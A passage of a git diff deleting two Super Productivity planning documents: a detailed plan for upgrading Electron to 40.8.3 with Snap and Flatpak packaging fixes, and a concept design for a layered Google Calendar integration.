2b8312da74..0000000000 --- a/docs/long-term-plans/electron-upgrade-to-v40.md +++ /dev/null @@ -1,545 +0,0 @@ -# Plan: Upgrade Electron from 37.10.3 to 40.8.3 - -> **Status: Planned** -> **Last updated: 2026-03-23** (comprehensive research review) - -## Context - -Super Productivity ships on Linux as AppImage, deb, snap, rpm, and has a community Flatpak on Flathub. Two previous upgrade attempts (Electron 38 in Oct 2025, Electron 39 in Dec 2025) both failed and were reverted due to **Snap crashes on Wayland**. - -**Electron 37 is end-of-life** (since January 13, 2026). This upgrade is a security and support lifecycle necessity, not just a feature request. - -**Root cause of snap crashes:** Electron 38+ defaults `--ozone-platform` to `auto` (native Wayland). electron-builder's snap template hardcodes the ancient `gnome-3-28-1804` runtime which lacks modern GNOME schemas (`font-antialiasing`) and Mesa drivers, causing crashes. Tracked in [electron-builder#9452](https://github.com/electron-userland/electron-builder/issues/9452) (still open, no upstream fix). Issue [#8548](https://github.com/electron-userland/electron-builder/issues/8548) (core22/core24 support) was **closed as "not planned"** on March 19, 2026. - -**macOS Tahoe clarification:** Issue [#5712](https://github.com/super-productivity/super-productivity/issues/5712) requests this upgrade to fix macOS Tahoe slowness. However, the specific GPU fix (Electron PR #48376, `_cornerMask` override) was already backported to **Electron 37.6.0** — our current 37.10.3 includes it. Ongoing freeze reports (March 2026) are a **macOS Tahoe system-level memory management issue** affecting all apps (Safari, Firefox, Chrome, VS Code on E39), not Electron-specific. The upgrade is still warranted for EOL/security reasons but should not be marketed as a fix for macOS Tahoe freezes. - -**Strategy:** Two-pronged approach for Snap: (1) upgrade the gnome runtime via a plug override (Tidal HiFi pattern), and (2) keep a defense-in-depth X11 override in code. For Flatpak: coordinate a separate PR to the Flathub manifest. - ---- - -## Research Summary (March 2026) - -### Ecosystem Snapshot - -| App | Electron | Snap Strategy | Flatpak Runtime | Wayland | -| ---------------------- | ----------- | ------------------------------------------------ | ------------------------------------- | --------------- | -| VS Code | **39.8.3** | Classic, forces X11 via wrapper | N/A | X11 in snap | -| Obsidian | **39.7.0** | N/A | **25.08**, wrapper-controlled Wayland | Auto in Flatpak | -| Bitwarden | **39.2.6** | Strict/core22, allowNativeWayland=true | N/A | Buggy in snap | -| Element | **41.0.2** | N/A | **25.08** | Auto in Flatpak | -| Signal | N/A | core24 + gnome extension (custom snapcraft.yaml) | **25.08** | Auto in Flatpak | -| Joplin | **38.x** | core24 + gnome extension (custom snapcraft.yaml) | **25.08** | Enabled | -| Tidal HiFi | **40.7.0** | **core22 + gnome-42-2204 plug override** | N/A | Enabled | -| Teams-for-Linux | **39.8.2** | core22, forces X11 via executableArgs | N/A | X11 in snap | -| **Super Productivity** | **37.10.3** | core22, allowNativeWayland=true, gnome-3-28-1804 | **24.08** | Force-disabled | - -### Key Findings - -- **Ecosystem consensus is Electron 39.x.** 40.8.3 is a reasonable forward-looking target. -- **Tidal HiFi solved the snap runtime problem** by overriding the `gnome-3-28-1804` plug to point to `gnome-42-2204` in electron-builder.yaml. This is confirmed working in production with strict confinement on core22. -- **Signal and Joplin use custom snapcraft.yaml files** with the `gnome` extension — more future-proof but requires a build pipeline change. -- **SP's Flathub manifest is behind peers:** runtime 24.08 (vs 25.08), 1-line wrapper script (vs Obsidian's 85 lines), Wayland force-disabled via `--unset-env=XDG_SESSION_TYPE`. -- **The planned `protocol.handle` migration code had a fatal infinite recursion bug** (now fixed in this plan). -- **Node.js 22→24 jump is safe** for SP's codebase. Only real risk: OpenSSL 3.5 raises minimum RSA key size to 2048 bits (affects users with legacy server certificates). - -### Past Attempts - -1. **Electron 38 (Oct 2025):** 25+ commits trying Mesa drivers, env vars, plugs configs in snap. All failed. Reverted (commit `6486b41bd9`). -2. **Electron 39 (Dec 2025):** Forced X11 via `app.commandLine.appendSwitch('ozone-platform', 'x11')` globally for all Linux. Reverted next day (commit `6e60bde789`) — still crashed because `allowNativeWayland: true` in electron-builder.yaml caused the snap launch wrapper to attempt Wayland initialization _before_ the Electron main process ran. - ---- - -## Changes - -### 1. Bump Electron version in `package.json` - -**File:** `package.json` (line 231) - -``` -"electron": "37.10.3" → "electron": "40.8.3" -``` - -Why 40.8.3 over 40.6.1: 8 patch releases of stability. Why not 41.x: only 2 weeks old (released March 10, 2026). Why not 39.x: Node.js 22→24 is the same jump regardless, and 40.x has more mature Wayland support (frameless window shadows, CSD). - -### 2. Upgrade Snap gnome runtime via plug override in `electron-builder.yaml` - -**File:** `electron-builder.yaml` (snap section, lines 77-94) - -Replace the entire snap section: - -```yaml -snap: - grade: stable - # Keep allowNativeWayland true — the gnome-42-2204 runtime has proper - # Mesa drivers and GSettings schemas for Wayland. The old crashes were - # caused by gnome-3-28-1804, not by Wayland itself. - allowNativeWayland: true - autoStart: true - base: core22 - confinement: strict - environment: - # Fix for issue #4920: Isolate fontconfig cache to prevent GTK dialog rendering issues - # https://github.com/super-productivity/super-productivity/issues/4920 - FC_CACHEDIR: $SNAP_USER_DATA/.cache/fontconfig - plugs: - - default - - password-manager-service - - system-observe - - login-session-observe - # Fix for issue #6031: Add filesystem access for local file sync - # https://github.com/super-productivity/super-productivity/issues/6031 - - removable-media - # Override electron-builder's hardcoded gnome-3-28-1804 content snap (core20 era) - # with gnome-42-2204 (core22 era) for up-to-date Mesa drivers and GSettings schemas. - # The plug name must match the template key to replace it rather than duplicate it. - # The explicit `content` attribute tells snapd to match the gnome-42-2204 slot. - # Pattern from Tidal HiFi: https://github.com/Mastermindzh/tidal-hifi - # gnome-42-2204 has global auto-connect (granted June 2022). - # Ref: electron-builder#9452, electron-builder#8548 (closed, not planned) - - gnome-3-28-1804: - interface: content - content: gnome-42-2204 - target: $SNAP/gnome-platform - default-provider: gnome-42-2204 -``` - -**Why this works:** electron-builder's `normalizePlugConfiguration()` overwrites the template's `gnome-3-28-1804` plug definition with the user-provided one via direct property assignment. snapd matches content interfaces on the `content` attribute (not plug name), so `content: gnome-42-2204` correctly connects to the gnome-42-2204 snap. Verified by tracing through electron-builder source code and by Tidal HiFi shipping this in production. - -**Auto-connect:** gnome-42-2204 was granted global auto-connect on June 6, 2022. SP has no plug-side snap-declarations for content interfaces that would override this. Should auto-connect without a store request. - -**Fallback (if gnome-42-2204 causes issues):** Revert to `allowNativeWayland: false` and remove the plug override. This falls back to the X11-only approach from the original plan. - -### 3. Add Snap-only X11 override in `start-app.ts` (defense-in-depth) - -**File:** `electron/start-app.ts` — after line 68 (the existing `gtk-version` switch) - -```typescript -// Defense-in-depth: Force X11 in Snap if the gnome-42-2204 runtime is not -// available or Wayland init fails. The primary fix is the gnome-42-2204 -// plug override in electron-builder.yaml. This code catches edge cases where -// the content snap is not connected or the runtime is missing. -// Users can override with: superproductivity --ozone-platform=wayland -if ( - process.platform === 'linux' && - process.env.SNAP && - !process.argv.some((arg) => arg.includes('--ozone-platform=')) -) { - // Check if the gnome-42-2204 runtime is mounted at the expected path. - // If not, fall back to X11 to prevent crashes. - const gnomePlatformPath = join(process.env.SNAP || '', 'gnome-platform'); - try { - const fs = require('fs'); - if ( - !fs.existsSync(gnomePlatformPath) || - fs.readdirSync(gnomePlatformPath).length === 0 - ) { - app.commandLine.appendSwitch('ozone-platform', 'x11'); - log('Snap: gnome-42-2204 runtime not found, forcing X11'); - } - } catch { - app.commandLine.appendSwitch('ozone-platform', 'x11'); - log('Snap: Could not check gnome runtime, forcing X11'); - } -} -``` - -Key differences from the failed December 2025 attempt: - -- Scoped to Snap only (`process.env.SNAP`), not all Linux -- Only forces X11 when the gnome-42-2204 runtime is missing (not unconditionally) -- Respects user override (`--ozone-platform=` check) -- Defense-in-depth alongside the plug override from step 2 - -### 4. Update Flatpak runtime in `electron-builder.yaml` - -**File:** `electron-builder.yaml` (line 97) - -```yaml -runtimeVersion: '23.08' → runtimeVersion: '24.08' -``` - -Also fix the linter-invalid socket combination (Flathub linter flags `x11` + `wayland` as ERROR): - -```yaml -# Before (linter error): -- --socket=x11 -- --socket=wayland -- --socket=fallback-x11 - -# After (linter-valid): -- --socket=wayland -- --socket=fallback-x11 -``` - -> **Note:** The Flathub manifest is maintained separately at -> [github.com/flathub/com.super_productivity.SuperProductivity](https://github.com/flathub/com.super_productivity.SuperProductivity) -> and should be upgraded to **25.08** (see step 9). This electron-builder.yaml -> flatpak config is effectively dead code for Flathub but useful for local builds. - -### 5. Migrate deprecated `protocol.registerFileProtocol` in `start-app.ts` - -**File:** `electron/start-app.ts` (lines 293-296) - -> **WARNING:** The previously planned migration code (`net.fetch('file:///' + pathname)`) -> has a **fatal infinite recursion bug** — `protocol.handle('file', ...)` intercepts ALL -> `file://` requests including the `net.fetch` inside itself. It also breaks filenames -> with spaces, `#`, `?`, or `%` characters, and Windows backslash paths. - -**Option A (preferred): Remove the handler entirely.** - -The handler was added in 2020 (commit `2c8255b081`, issue #549) for Electron ~10. Modern Electron handles `file://` URLs correctly by default. The CSP already permits `file:` in `img-src`. Test by commenting out lines 293-296 and verifying: - -- Angular app loads correctly -- Task attachment images with `file://` paths display (including paths with spaces) -- Background images set to `file://` paths work -- Test on Windows with backslash paths - -If removing works → delete lines 293-296. No new code needed. - -**Option B (fallback): Use `pathToFileURL` + `bypassCustomProtocolHandlers`.** - -Add to electron imports: - -```typescript -import { pathToFileURL } from 'url'; -import { - App, - app, - BrowserWindow, - globalShortcut, - ipcMain, - net, - powerMonitor, - protocol, -} from 'electron'; -``` - -Replace lines 293-296: - -```typescript -protocol.handle('file', (request) => { - const pathname = decodeURI(new URL(request.url).pathname); - return net.fetch(pathToFileURL(pathname).href, { - bypassCustomProtocolHandlers: true, - }); -}); -``` - -Key differences from the previously planned code: - -- `bypassCustomProtocolHandlers: true` prevents infinite recursion -- `new URL(request.url).pathname` properly parses the URL structure -- `pathToFileURL()` properly encodes spaces as `%20`, `#` as `%23`, converts Windows backslashes - -### 6. Add GPU cache cleanup on Electron version change in `start-app.ts` - -**File:** `electron/start-app.ts` — in a new `appIN.on('ready', ...)` block, before `createMainWin()` (around line 150) - -```typescript -import * as fs from 'fs'; - -appIN.on('ready', () => { - // Clear GPU cache when Electron version changes to prevent blank/black screens. - // Stale GPU shader caches from old Electron versions cause rendering failures. - // Pattern used by Obsidian's Flatpak wrapper. - if (process.platform === 'linux') { - const userDataPath = app.getPath('userData'); - const versionFile = join(userDataPath, '.electron-version'); - const currentVersion = process.versions.electron; - try { - let lastVersion = ''; - try { - lastVersion = fs.readFileSync(versionFile, 'utf8').trim(); - } catch { - // File doesn't exist on first run - } - if (lastVersion !== currentVersion) { - const gpuCachePath = join(userDataPath, 'GPUCache'); - if (fs.existsSync(gpuCachePath)) { - fs.rmSync(gpuCachePath, { recursive: true, force: true }); - log( - `Cleared GPUCache after Electron upgrade (${lastVersion} → ${currentVersion})`, - ); - } - fs.mkdirSync(userDataPath, { recursive: true }); - fs.writeFileSync(versionFile, currentVersion); - } - } catch (e) { - log('Failed to check/clear GPU cache:', e); - } - } -}); -``` - -### 7. Migrate `url.format()` (proactive deprecation cleanup) - -**File:** `electron/main-window.ts` (line 198) and `electron/full-screen-blocker.ts` (line 38) - -`url.format()` is documentation-deprecated (DEP0116). Still works in Node 24 without warnings, but worth cleaning up. Replace: - -```typescript -format({ pathname: normalize(join(...)), protocol: 'file:', slashes: true }) -``` - -With: - -```typescript -`file://${normalize(join(...))}` -``` - -### 8. Run npm install and verify - -```bash -npm install -npm run electron:build -npm run checkFile electron/start-app.ts -npm run checkFile electron/main-window.ts -npm run checkFile electron/full-screen-blocker.ts -npm test -``` - -Verify `@types/node` compatibility — Electron 40 uses Node 24, and there's a known type conflict ([electron#49213](https://github.com/electron/electron/issues/49213)) where `@types/node` added `noDeprecation` as optional but Electron defines it as required. May need `skipLibCheck: true` or a types version pin. - -### 9. Update Flathub manifest (separate PR) - -**Repo:** [github.com/flathub/com.super_productivity.SuperProductivity](https://github.com/flathub/com.super_productivity.SuperProductivity) - -The Flathub manifest is maintained separately and is currently behind peers: - -- Runtime 24.08 (peers on **25.08**: Signal, FreeTube, Obsidian, Element) -- 1-line wrapper script (peers: 50-85 line scripts with TMPDIR isolation) -- Wayland force-disabled via `--unset-env=XDG_SESSION_TYPE` (since PR #58, Oct 2025) -- Missing `--system-talk-name=org.freedesktop.login1` (needed for idle detection) -- Missing `--talk-name=org.freedesktop.secrets` (keyring access) - -> **Flathub linter constraint:** `--socket=x11` + `--socket=wayland` is flagged as an **ERROR**. -> Only two valid socket patterns exist: -> -> 1. X11-only: `--socket=x11` + `--share=ipc` -> 2. Wayland + fallback: `--socket=wayland` + `--socket=fallback-x11` + `--share=ipc` -> -> The current `electron-builder.yaml` flatpak section declares both `--socket=x11` AND -> `--socket=wayland` — this would fail the linter. Another reason this config is dead code. - -**Phase 1 — Runtime upgrade + missing permissions (1 PR):** - -- Bump `runtime-version` and `base-version` from `24.08` to `25.08` - (25.08 BaseApp bundles zypak v2025.09 + libsecret 0.21.7) -- Add `--system-talk-name=org.freedesktop.login1` (idle/sleep detection) -- Add `--talk-name=org.freedesktop.secrets` (keyring access) -- Add `"automerge-flathubbot-prs": true` to `flathub.json` (if using extra-data) - -**Phase 2 — Re-enable Wayland (1 PR):** - -- Remove `--unset-env=XDG_SESSION_TYPE` (a workaround, not needed for Electron 40+) -- Replace `--socket=x11` with `--socket=wayland` + `--socket=fallback-x11` -- Electron 40+ auto-detects Wayland — no `--ozone-platform-hint` flag needed -- No `GTK_USE_PORTAL=1` needed (automatic inside Flatpak sandbox) -- Signal Desktop pattern: trust Electron's built-in Wayland detection - -**Phase 3 — Enhance wrapper script (1 PR):** - -```bash -#!/bin/sh - -# Isolate TMPDIR per best practice (Signal, FreeTube pattern). -# Prevents lock file collisions between Flatpak apps. -export TMPDIR="${XDG_RUNTIME_DIR}/app/${FLATPAK_ID}" - -# GPU cache cleanup (opt-in, for blank screen issues after driver updates) -if [ "${SP_CLEAN_CACHE:-0}" = "1" ]; then - rm -rf "${XDG_CONFIG_HOME}/superProductivity/GPUCache" -fi - -# GPU disable (for problem GPUs) -if [ "${SP_DISABLE_GPU:-0}" = "1" ]; then - set -- --disable-gpu "$@" -fi - -# Trash integration -export ELECTRON_TRASH=gio - -exec zypak-wrapper.sh /app/superproductivity/superproductivity "$@" -``` - -**Target finish-args (gold standard, following Signal Desktop + Flathub linter):** - -```yaml -finish-args: - - --socket=wayland - - --socket=fallback-x11 - - --share=ipc - - --share=network - - --device=dri - - --socket=pulseaudio - - --filesystem=xdg-download - - --talk-name=org.freedesktop.Notifications - - --talk-name=org.kde.StatusNotifierWatcher - - --talk-name=org.gnome.Mutter.IdleMonitor - - --talk-name=org.freedesktop.secrets - - --system-talk-name=org.freedesktop.login1 - - --env=XCURSOR_PATH=/run/host/user-share/icons:/run/host/share/icons - - --env=ELECTRON_TRASH=gio -``` - -> **Note:** The `electron-builder.yaml` flatpak section is effectively dead code — Flathub -> uses its own manifest. Keep it for local builds but don't expect it to affect Flathub. -> The current config also has a linter error (`--socket=x11` + `--socket=wayland`). - ---- - -## What NOT to change - -Based on the failed 25+ commit Electron 38 attempt: - -- Do NOT add Mesa/GPU driver packages to snap stagePackages -- Do NOT try software rendering (`LIBGL_ALWAYS_SOFTWARE`) -- Do NOT change CI workflows -- Do NOT enumerate individual snap plugs (keep `- default`) -- Do NOT force X11 for all Linux (only as Snap fallback when gnome runtime is missing) - ---- - -## Breaking Changes Audit (Electron 38→40) - -| Breaking Change | Version | Affects SP? | Action | -| ------------------------------------------ | ------- | ------------ | ----------------------------------------------------- | -| macOS 11 dropped | E38 | Low | Document in release notes | -| `ozone-platform` defaults to `auto` | E38 | **Critical** | gnome-42-2204 plug override + code fallback | -| `ELECTRON_OZONE_PLATFORM_HINT` removed | E38 | No | Not used in codebase | -| `window.open` always resizable | E39 | No | All popups denied via `setWindowOpenHandler` | -| Node.js 22→24 | E40 | **Medium** | No native modules; test TLS connections (OpenSSL 3.5) | -| Clipboard deprecated in renderer | E40 | No | SP uses clipboard in main process only | -| `protocol.registerFileProtocol` deprecated | E25+ | **Yes** | Migrated in step 5 | -| `url.format()` documentation-deprecated | E25+ | Minor | Migrated in step 7 | - -### Node.js 22→24 Details - -- **OpenSSL 3.5 security level 2:** RSA/DSA/DH keys must be ≥2048 bits. Users connecting to Jira/WebDAV/sync servers with legacy certificates may see TLS failures. Error will be visible (connection refused), not silent. -- **`require(esm)` enabled by default:** Additive — things that used to fail now work. No breakage. -- **All `fs`, `child_process`, `path`, `process`, timer APIs:** Verified safe. SP uses standard patterns. - ---- - -## Expected behavior after upgrade - -| Distribution | Wayland session | X11 session | -| ------------ | ------------------------------------------------------------------ | ----------- | -| **Snap** | Native Wayland via gnome-42-2204 (X11 fallback if runtime missing) | Normal X11 | -| **AppImage** | Native Wayland (Electron auto) | Normal X11 | -| **deb/rpm** | Native Wayland (Electron auto) | Normal X11 | -| **Flatpak** | Native Wayland (after Flathub manifest update) | Normal X11 | - ---- - -## Risk Assessment - -| Risk | Likelihood | Impact | Mitigation | -| -------------------------------------------------------------------- | ---------- | ------ | ------------------------------------------------------------------------------------------------------- | -| gnome-42-2204 auto-connect fails in Snap Store | Low | High | File store request at forum.snapcraft.io (turnaround: days). Fallback: set `allowNativeWayland: false`. | -| Snap crashes despite gnome-42-2204 | Low | High | Defense-in-depth X11 fallback in start-app.ts | -| AppImage/deb regressions on Wayland | Low | Medium | No forced X11 for non-Snap; Electron 40 Wayland is more mature | -| `protocol.handle` breaks file loading | Low | High | Try removing handler entirely first (Option A). `registerFileProtocol` still works in E40 as fallback. | -| OpenSSL 3.5 rejects legacy server certs | Medium | Medium | Document in release notes. Users can downgrade TLS security via environment variables if needed. | -| `@types/node` v24 type conflicts at build | Medium | Low | `skipLibCheck` or pin types version | -| `stage-packages` exclusion list mismatch with core22 + gnome-42-2204 | Low | Low | May increase snap size; functionally correct | - ---- - -## Verification - -1. `npm run electron:build` — compiles without errors -2. `npm run checkFile electron/start-app.ts` — passes lint/prettier -3. `npm test` — unit tests pass -4. Local dev test: `npm start` — app launches, idle detection works -5. Verify `protocol.handle` migration: - - Angular app loads (JS bundles, CSS, fonts, SVGs) - - Task attachment images with `file://` paths display - - Test filenames with spaces, `#`, `?` characters - - Test on Windows with backslash paths -6. Build snap locally: `npm run localInstall:snap` - - Verify gnome-42-2204 auto-connects: `snap connections superproductivity` - - Test on Wayland session — app launches without crash - - Test on X11 session — app launches normally -7. Verify GPU cache cleanup: check logs for "Cleared GPUCache" message on first launch after upgrade -8. Verify idle detection: confirm logs show correct method (powerMonitor on X11, gdbus on GNOME Wayland) -9. **macOS Tahoe soak test:** Run on macOS 26.x for 30+ minutes with active use. Verify no GPU lag. (Note: system-level freezes are an Apple bug, not ours.) -10. **TLS connection test:** Test Jira, WebDAV, and sync server connections to verify no OpenSSL regressions. - ---- - -## Rollout Plan - -### 1. GitHub Pre-release / Beta Tag - -Push a GitHub release tagged as pre-release (e.g., `v18.0.0-beta.1`). This gives direct `.deb`, `.AppImage`, `.snap`, `.flatpak` artifacts without touching stable channels. - -### 2. Snap Beta Channel - -```bash -snapcraft upload --release=beta super-productivity_*.snap -``` - -**Critical post-upload check:** - -```bash -# Install on a clean system and verify auto-connect -snap install super-productivity --channel=beta -snap connections superproductivity -# Look for: gnome-3-28-1804 gnome-42-2204:gnome-42-2204 - -``` - -If auto-connect fails, file a request at [forum.snapcraft.io/c/store-requests](https://forum.snapcraft.io/c/store-requests). - -### 3. Flathub Manifest Update - -Submit PR to the Flathub repo with runtime 25.08 upgrade and Wayland re-enablement (step 9). This is independent of the Electron upgrade and can be done in parallel. - -### 4. Call to Action - -- **GitHub Issue** — update #5712 with what changed, clarify the macOS Tahoe situation -- **Ask specifically for Snap testers on Wayland** — this is the highest-risk scenario -- **Ask for macOS Tahoe testers** — to confirm no new regressions (even though the original bug is already fixed) - ---- - -## Future Considerations - -### Custom snapcraft.yaml (long-term) - -The gnome-42-2204 plug override is a pragmatic workaround. The long-term solution is a **custom snapcraft.yaml** with `extensions: [gnome]` on core24, following Signal Desktop and Joplin. This provides: - -- Automatic gnome-46-2404 runtime + mesa-2404 GPU drivers -- Proper `desktop-launch` command chain -- No dependency on electron-builder's unmaintained snap template - -This would involve using electron-builder's `--dir` target and wrapping the output with a custom snapcraft.yaml. Worth doing when core24 is well-tested or when electron-builder's template becomes a bigger liability. - -### Electron 41+ - -Electron 41 (released March 10, 2026) brings improved Wayland support: frameless window shadows, extended resize boundaries, CSD in all configurations. Once 40.8.3 is validated, bumping to 41.x should be a smaller, lower-risk change. - ---- - -## References - -- [electron-builder#9452: Snap crashes on Wayland with Electron 38+](https://github.com/electron-userland/electron-builder/issues/9452) -- [electron-builder#8548: core22/core24 support (closed, not planned)](https://github.com/electron-userland/electron-builder/issues/8548) -- [Tidal HiFi gnome-42-2204 plug override](https://github.com/Mastermindzh/tidal-hifi/blob/master/build/electron-builder.base.yml) -- [Signal Desktop snapcraft.yaml (core24 + gnome extension)](https://github.com/snapcrafters/signal-desktop/blob/master/snap/snapcraft.yaml) -- [gnome-42-2204 global auto-connect grant](https://forum.snapcraft.io/t/autoconnect-request-for-gnome-42-2204/30290) -- [VS Code snap electron-launch wrapper](https://github.com/microsoft/vscode/blob/main/resources/linux/snap/electron-launch) -- [Obsidian Flatpak wrapper (gold standard)](https://github.com/flathub/md.obsidian.Obsidian/blob/master/obsidian.sh) -- [Element Desktop Flatpak wrapper](https://github.com/flathub/im.riot.Riot/blob/master/element.sh) -- [Signal Desktop Flatpak manifest](https://github.com/flathub/org.signal.Signal) -- [Super Productivity Flathub manifest](https://github.com/flathub/com.super_productivity.SuperProductivity) -- [Electron 40 release notes](https://www.electronjs.org/blog/electron-40-0) -- [Electron 41 release notes](https://www.electronjs.org/blog/electron-41-0) -- [Electron breaking changes](https://www.electronjs.org/docs/latest/breaking-changes) -- [Electron end-of-life dates](https://endoflife.date/electron) -- [Node.js 22→24 migration guide](https://nodejs.org/en/blog/migrations/v22-to-v24) -- [macOS Tahoe cornerMask fix (Electron PR #48376)](https://github.com/electron/electron/pull/48376) -- [macOS Tahoe system-level memory issues (MacRumors)](https://forums.macrumors.com/threads/macos-tahoe-windowserver-memory-pressure-over-long-uptimes-anyone-else-seeing-this.2476977/) -- [ShameElectron tracker](https://avarayr.github.io/shamelectron/) -- [Snapcraft GNOME Extension docs](https://documentation.ubuntu.com/snapcraft/stable/reference/extensions/gnome-extension/) -- [Flatpak Electron docs](https://docs.flatpak.org/en/latest/electron.html) diff --git a/docs/long-term-plans/google-calendar-integration-concept.md b/docs/long-term-plans/google-calendar-integration-concept.md deleted file mode 100644 index 915af32bd1..0000000000 --- a/docs/long-term-plans/google-calendar-integration-concept.md +++ /dev/null @@ -1,190 +0,0 @@ -# Google Calendar Integration -- Concept Design Document - -## Context - -Super Productivity currently has a read-only iCal calendar integration that displays events in the planner and schedule views. A Google Calendar plugin exists (`packages/plugin-dev/google-calendar-provider/src/plugin.ts`) with full OAuth + CRUD capabilities. The goal is to design a richer Google Calendar integration that lets users manage their calendar entirely from within SP, without needing a separate calendar app. Rather than "true 2-way sync" (which has fundamental issues -- calendar events and tasks are different entities), the design uses an **ownership-based model** where behavior is determined by who created the item. - -## The Concept: Four Layers - -### Layer 1: Calendar Display (Google -> SP) - -Events from all connected Google calendars appear in planner and schedule views. Read-only display, same as current iCal behavior but fetched via Google Calendar API with incremental `syncToken` sync. - -### Layer 2: Event Management (SP <-> Google, direct CRUD) - -Users can create, edit, and delete calendar events as **events** (not tasks) directly from the planner and schedule UI. Edits go to the calendar the event came from. New events go to a user-selected default calendar (configurable via dropdown). This is direct API calls, not sync. - -### Layer 3: Event -> Task Promotion (one-time snapshot) - -User explicitly clicks "Create task from this event" in the event detail panel. Creates a linked task that lives independently. Completing/deleting the task never touches the calendar event. - -### Layer 4: Task -> Calendar Blocking (SP -> Google, lowest priority) - -When a user schedules a task (dueWithTime + timeEstimate), SP can push a time-block event to a designated calendar. SP owns these events. Completing a task marks the event as done (keeps it, doesn't delete). This layer is lowest priority and should be built last. - ---- - -## Configuration / Setup - -**Settings > Integrations > Google Calendar:** - -1. **Connect Google Account** -- OAuth button (existing plugin flow) -2. **Calendars to display** -- multi-select of all user's Google calendars (read + write access) -3. **Default calendar for new events** -- dropdown of writable calendars -4. **Time-block calendar** -- (Phase 4) dropdown of writable calendars, for task time-blocking -5. **Auto-block scheduled tasks** -- (Phase 4) toggle, off by default -6. **Sync range** -- how far ahead to fetch (default: 2 weeks) - -### Config model changes to plugin: - -``` -displayCalendarIds: string[] // All calendars to show -defaultWriteCalendarId: string // Default target for new events -timeBlockCalendarId: string | null // Target for task time-blocks (Phase 4) -isAutoTimeBlock: boolean // Auto-push scheduled tasks (Phase 4) -syncRangeWeeks: number // Fetch range -``` - ---- - -## Interaction Design - -### Layer 1: Calendar Display - -**No UI changes.** Google Calendar events flow into the same `CalendarIntegrationEvent[]` pipeline as iCal events. Planner selectors split them into allDayEvents/timedEvents. Schedule view renders them as time blocks. - -**Data source change:** `CalendarIntegrationService` gains a Google Calendar fetch path alongside iCal. Uses `syncToken` for incremental sync (much faster than re-parsing iCal feeds). - -### Layer 2: Event Management - -**Clicking a calendar event** -- opens a **mat-menu** with three options: - -1. **Edit event** -- opens a dialog to view/edit event details (title, time, duration, description, calendar name). Save calls `PATCH /calendars/{calendarId}/events/{eventId}`. Event stays in its original calendar. Dialog also has a "Delete event" button that calls `DELETE /calendars/{calendarId}/events/{eventId}`. For read-only calendars, the dialog shows details without edit/delete controls. -2. **Create as task** -- calls `IssueService.addTaskFromIssue()` with the Google Calendar provider key. Creates a task with `issueId` pointing to the event. One-time snapshot, no ongoing sync. The calendar event is unaffected by task lifecycle. -3. **Hide forever** -- permanently hides this event from planner and schedule views. Stored locally (not synced to Google). Useful for recurring noise like "Office closed" or events the user doesn't care about. - -**Creating** -- new "Add Event" button in the issue panel (alongside existing task creation). Shows title input, time picker, calendar dropdown (defaults to `defaultWriteCalendarId`). Creates via `POST /calendars/{calendarId}/events`. - -**Drag-to-reschedule** -- dragging a calendar event in schedule view calls `updateIssue()` with new start time (future enhancement). - -### Layer 4: Task -> Calendar Blocking (lowest priority) - -**Auto-create trigger:** new effect watches for tasks gaining `dueWithTime` + `timeEstimate`. If `isAutoTimeBlock` is enabled and task isn't already linked to an issue, creates an event on `timeBlockCalendarId` and links the task. - -**Rescheduling:** existing push effect handles this -- changing `dueWithTime` triggers `updateIssue()`. - -**Completing:** marks the calendar event as done (e.g., `[DONE]` prefix or extended property), does NOT delete it. Preserves history of how time was spent. - -**Deleting task:** removes the time-block event (SP created it, SP owns it). - ---- - -## Architecture - -### What's reused as-is: - -- Plugin OAuth flow (`plugin.ts` lines 136-153) -- Plugin CRUD methods (`createIssue`, `updateIssue`, `deleteIssue`) -- Plugin field mappings (`plugin.ts` lines 263-324) -- `CalendarIntegrationEvent` model (`calendar-integration.model.ts`) -- Planner/schedule rendering pipeline -- `IssueService.addTaskFromIssue()` for Layer 3 -- Two-way sync push/delete effects for Layer 4 - -### What needs modification: - -- `CalendarIntegrationService` -- add Google Calendar API fetch alongside iCal, support `syncToken` -- Calendar provider selectors -- match Google Calendar plugin key in addition to `'ICAL'` -- `PlannerCalendarEventComponent` -- click opens context menu instead of converting to task -- `ScheduleEventComponent.clickHandler()` -- same change for schedule view -- Google Calendar plugin config -- add multi-calendar fields - -### New components: - -- `CalendarEventContextMenuComponent` -- mat-menu triggered on event click (Edit event / Create as task / Hide forever) -- `CalendarEventEditDialogComponent` -- dialog for viewing/editing/deleting events -- `AddEventInlineComponent` or mode in issue panel -- for creating new events -- `GoogleCalendarCacheService` -- manages `syncToken` and incremental sync -- `HiddenCalendarEventsService` -- persists permanently hidden event IDs (localStorage or IndexedDB) -- `TimeBlockSyncEffect` (Phase 4) -- watches task schedule changes, auto-creates/updates/removes events - -### Key data flow: - -``` -Layer 1: Google Calendar API -> CalendarIntegrationService -> CalendarIntegrationEvent[] -> planner/schedule selectors -> UI -Layer 2: UI action -> Google Calendar API (direct CRUD) -> refresh cache -> UI updates -Layer 3: UI "Create task" button -> IssueService.addTaskFromIssue() -> task created with issueId link -Layer 4: Task schedule change -> TimeBlockSyncEffect -> Google Calendar API -> event created/updated/removed -``` - ---- - -## Phased Delivery - -### Phase 1: Google Calendar Display (Layer 1) - -- Google Calendar API fetch in `CalendarIntegrationService` -- `syncToken` incremental sync -- Multi-calendar selection in config -- Events appear in planner/schedule (same rendering, different data source) - -### Phase 2: Context Menu + Event Detail Dialog (Layer 2 + Layer 3 refinement) - -- Build `CalendarEventContextMenuComponent` (mat-menu: Edit event / Create as task / Hide forever) -- Build `CalendarEventEditDialogComponent` (view/edit/delete event details) -- Change click handlers in planner/schedule to open context menu instead of auto-converting to task -- `HiddenCalendarEventsService` for "Hide forever" persistence -- "Create as task" menu item replaces current click-to-convert behavior - -### Phase 3: Event CRUD (Layer 2 write) - -- Edit mode in the event dialog (title, time, description) -- Delete button in the event dialog -- "Add Event" creation flow in issue panel with calendar dropdown -- Respect `accessRole` for read-only calendars (hide edit/delete controls) - -### Phase 4: Task Time-Blocking (Layer 4) - -- `TimeBlockSyncEffect` for auto-creating calendar events from scheduled tasks -- Done-state handling (mark event, don't delete) -- Config: time-block calendar selection, auto-block toggle - ---- - -## Key Design Decisions - -1. **Ownership determines behavior** -- no "sync direction" config. Google events are read+edit as events. SP time-blocks are owned by SP. -2. **Event CRUD bypasses the task/issue system** -- editing a calendar event does not create or modify any task entity. -3. **No recurring event write-back** -- display recurring instances (via `singleEvents: true`), but never create/modify recurring series. -4. **Edits stay in source calendar** -- editing an event always patches it in its original calendar. New events use a configurable default. -5. **Time-block completion = mark done, not delete** -- preserves time-spent history in the calendar. -6. **Layer 4 is lowest priority** -- Layers 1-3 deliver the core 